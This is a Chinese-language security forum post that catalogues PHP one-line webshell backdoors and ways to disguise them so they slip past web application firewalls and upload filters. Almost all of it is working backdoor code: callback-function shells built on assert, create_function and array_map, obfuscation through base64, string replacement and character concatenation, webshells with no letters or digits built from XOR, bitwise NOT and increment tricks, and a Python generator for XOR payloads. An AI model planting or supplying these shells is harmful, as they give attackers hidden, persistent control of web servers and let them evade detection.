Bypass代码执行——Xiaoyi

xiao_yi   ·   发表于 2021-08-19 15:25:57   ·   技术文章投稿区

一句话木马绕过

前言

由于文件上传的时候可能对文件内容进行检测,所以可能会对常见的eval函数进行过滤,而导致上传的一句话小马被阉割的情况,以下方法可能可以Bypass WAF或者是一些拦截检测

函数简介

assert

  • php < 7.3.4(查看文档原因和eval类似,php7.3之后基本上assert被当成语言构造器,不再当作函数使用)
  1. <?php @assert(@$_POST[123]);?>
  2. # 只能执行单行命令
  3. 1、执行 eval()
  4. 2、执行写文件,把你需要的代码全部写入文件
  5. file_put_contents("web.php", '<?php echo 123; phpinfo();?>')

create_function

  1. <?php
  2. $fun = create_function('', $_POST[123]);
  3. $fun();
  4. ?>
  5. # 第一个参数是传入匿名函数的参数, 第二个参数是执行的函数体
  6. # 如果开发的代码仅仅是使用了匿名函数定义但未调用,可以尝试以下方式进行bypass
  7. <?php
  8. $fun = create_function('',$_POST[123]);
  9. ?>
  10. # 本质上,create_function执行的代码如下:
  11. #function 匿名($params1)
  12. #{
  13. # $_POST[123];
  14. #}
  15. ######################################################################
  16. 其原理和注入漏洞相似, 尝试闭合后构造成新的攻击语句执行
  17. function 匿名($params1)
  18. {
  19. $_POST[123];}phpinfo();//
  20. }

preg_replace

该函数利用该正则表达式替换符合条件的字符串
若在正则表达式末尾加上”e”, 那么这个函数的第二个参数就会被当作代码执行

Warning: php_version > 5.6.9 正则不在支持 /e

  1. <?php
  2. @preg_replace("/abcd/e", $_POST[123], "abcdefg");
  3. ?>

file_put_contents

利用函数生成木马

  1. <?php
  2. $test = '<?php $a=$_POST[123]; assert($a);?>';
  3. file_put_contents("web.php", $test);
  4. ?>

array_map回调函数

有关回调函数的更多小Tips 参照p神师傅的文章:PHP回调后门

  1. <?php
  2. @array_map($_REQUEST[1], $_REQUEST[2]);
  3. ?>
  4. #1=assert&2[]=phpinfo();

call_user_func 回调函数

  1. <?php
  2. @call_user_func('assert', $_POST[123]);
  3. ?>

call_user_func函数可以调用其他函数, 第一个参数是被调用函数名,第二个参数是传入被调用函数里的参数

call_user_func_array回调函数

和上面的 call_user_func唯一区别的是传入的参数应该是数组

  1. <?php
  2. @call_user_func_array('assert', $_POST[123]);
  3. ?>
  4. # POST : 123[]=phpinfo();

array数组变形 适用于 php <= 5.6.9

其实这里还是利用了可变变量的特性!

  1. <?php
  2. $item['JON']='assert';
  3. $array[]=$item;
  4. $array[0]['JON']($_POST[123]);
  5. ?>

PHP变量函数

  1. <?php
  2. $a = "eval";
  3. $a($_POST[8]);
  4. ?>

PHP 复杂变量导致的

  1. <?php
  2. $a = "${phpinfo()}";
  3. ?>
  4. <?php
  5. ${phpinfo()}; # 注意:字符串的定义有问题,并不需要参数在双引号中
  6. ?>

usort

  1. bool usort(array &$array, callable $value_compare_func)
  1. <?php
  2. highlight_file(__FILE__);
  3. usort(...$_GET);
  4. #usort($_GET[1], "assert");
  5. ?>
  6. # 传参为: ?1[]=phpinfo()&1[]=134&2=assert
  7. # ?1[]=phpinfo()&1[]=123
  8. //只有php版本 7.0.0-7.1.0(不包括7.1)有效

uasort

  1. <?php
  2. highlight_file(__FILE__);
  3. $e = "assert";
  4. $arr = array(@$_REQUEST[pass], "test");
  5. uasort($arr, $e);
  6. ?>
  7. // 和上述一样 只有php版本 7.0.0-7.1.0(不包括7.1)有效
  8. //php 7.1.9 可以使用system函数

绕过WAF

PHP可变变量

  1. <?php
  2. $bb = "eval";
  3. $aa = "bb";
  4. $$aa($_POST[123]);
  5. ?>

str_replace

  1. <?php
  2. $a = str_replace("Cr4ck","", "asseCr4ckrt");
  3. $a(@$_POST[123]);
  4. ?>

preg_replace

  1. <?php
  2. $a = preg_replace("\Cr4ck\","", "asseCr4ckrt");
  3. $a(@$_POST[123]);
  4. ?>

base64_decode

  1. <?php
  2. $a=base64_decode("YXNzZXJ0")
  3. $a($_POST[123]);
  4. ?>
  5. # 常见命令执行函数base64编码如下
  6. eval-------------------ZXZhbA==:复现的时候eval都无法成功,这是因为eval并不是一个函数,而是一个语言构造器,不能被可变函数调用
  7. assert-----------------YXNzZXJ0
  8. system-----------------c3lzdGVt
  9. exec-------------------ZXhlYw==:注意使用exec的时候需要用echo函数将结果输出

解决eval不能被可变函数引用的方法

可以使用 eval 的包装函数,例如

  1. <?php
  2. $a = "my_e";
  3. $b = "val";
  4. function my_eval($params)
  5. {
  6. eval($params);
  7. }
  8. $c = $a.$b;
  9. $c('phpinfo();');
  10. ?>

“.”操作符

  1. <?php
  2. $a = 'a'.Chr(115).Chr(115).Chr(101);
  3. $b = Chr(114).'t';
  4. $c = $a.$b;
  5. $c($_POST[123]);
  6. ?>
  7. # 第二种用法
  8. <?php
  9. $a = 'a'.Chr(115).Chr(115).Chr(101);
  10. $b = Chr(114).'t';
  11. $c = $a.$b;
  12. call_user_func($c, $_POST[123]);
  13. ?>

parse_str

  1. <?php
  2. $str="a=assert";
  3. parse_str($str);
  4. $a($_POST[123]);
  5. ?>

关于一些不包含数字和字母的webshell

参考自p神的文章和思路

demo

  1. <?php
  2. if(!preg_match('/[a-z0-9]/is', $_GET['shell']))
  3. {
  4. eval($_GET['shell']);
  5. }
  6. ?>

思路

将非字母、数字的字符经过各种变换, 构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

注意:php5和php7中assert函数定义差异,只有部分php7的版本可以使用动态函数执行assert

方法

利用异或生成字母

这里先记录一下P牛的payload

  1. <?php
  2. $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
  3. $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
  4. $___=$$__;
  5. $_($___[_]); // assert($_POST[_]);

这里写了一个简单的异或生成脚本

  1. def main():
  2. str = r'~!@#$%^&*()_+<>?,.;:-[]{}\/`'
  3. needstr = "assert"
  4. dictin = {}
  5. left = {}
  6. right = {}
  7. for c in range(len(needstr)):
  8. for i in range (0, len(str)):
  9. for j in range(0, len(str)):
  10. a = ord(str[i])^ord(str[j])
  11. if needstr[c] == chr(a):
  12. print(f"'{str[i]}'^'{str[j]}' = {chr(a)}")
  13. dictin[c] = chr(a)
  14. if __name__ == '__main__':
  15. main()

挑选出一些无歧义字符, ‘+’在url中表示为空格,这里可能会产生一个比较坑的情况,需要特别注意一下

我构造的payload如下

  1. $_='!]]_-/'^'@..:_[';$__='_'.('~`-~'^'./~*');$___=$$__;$____=$_($___[_]);
  2. POST: _=phpinfo()

利用位运算的取反字符

这里利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,取反得到一些字母

p牛的payload如下

  1. <?php
  2. $__=('>'>'<')+('>'>'<');
  3. $_=$__/$__;
  4. $____='';
  5. $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
  6. $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
  7. $_=$$_____;
  8. $____($_[$__]);

注意+号如果是GET传参需要先进行一次url编码成%2b

借助自增运算符拿到想要的字符

  1. 'a'++ => 'b'`、`'c'-- => 'c'

详情见文档

payload如下:

  1. <?php
  2. $_=[];
  3. $_=@"$_"; //Array
  4. $_=$_['!'=='@'];
  5. $___=$_; // A
  6. $__=$_;
  7. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
  8. $___.=$__;
  9. $___.=$__;
  10. $__=$_;
  11. $__++;$__++;$__++;$__++; //E
  12. $___.=$__;
  13. $__=$_;
  14. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //R
  15. $___.=$__;
  16. $__=$_;
  17. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
  18. $___.=$__;
  19. $____='_';
  20. $__=$_;
  21. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//_P
  22. $____.=$__;
  23. $__=$_;
  24. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
  25. $____.=$__;
  26. $__=$_;
  27. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
  28. $____.=$__;
  29. $__=$_;
  30. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
  31. $____.=$__;
  32. $_=$$____;
  33. $___($_[_]);
  34. //ASSERT($_POST[_]);
  35. //合并成一行
  36. $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

参考来源

总结

Bypass还是知识的对抗,通过不常见的回调函数加各种操作(比如编码,字符拼接, ascii码的转换等),就可以构造出各种绕过waf的一句话木马!如果有大佬知道更多方法的还请赐教~路过的小朋友,可以点个赞吗!

用户名金币积分时间理由
sunsky666 50.00 0 2021-08-24 10:10:17 一个受益终生的帖子~~
sunsky666 30.00 0 2021-08-24 10:10:50 我是你的小迷弟
Track-手电筒 40.00 0 2021-08-19 21:09:29 活动额外奖赏
Track-手电筒 80.00 0 2021-08-19 21:09:03 一个受益终生的帖子~~

打赏我,让我更有动力~

0 Reply   |  Until 2021-8-19 | 838 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.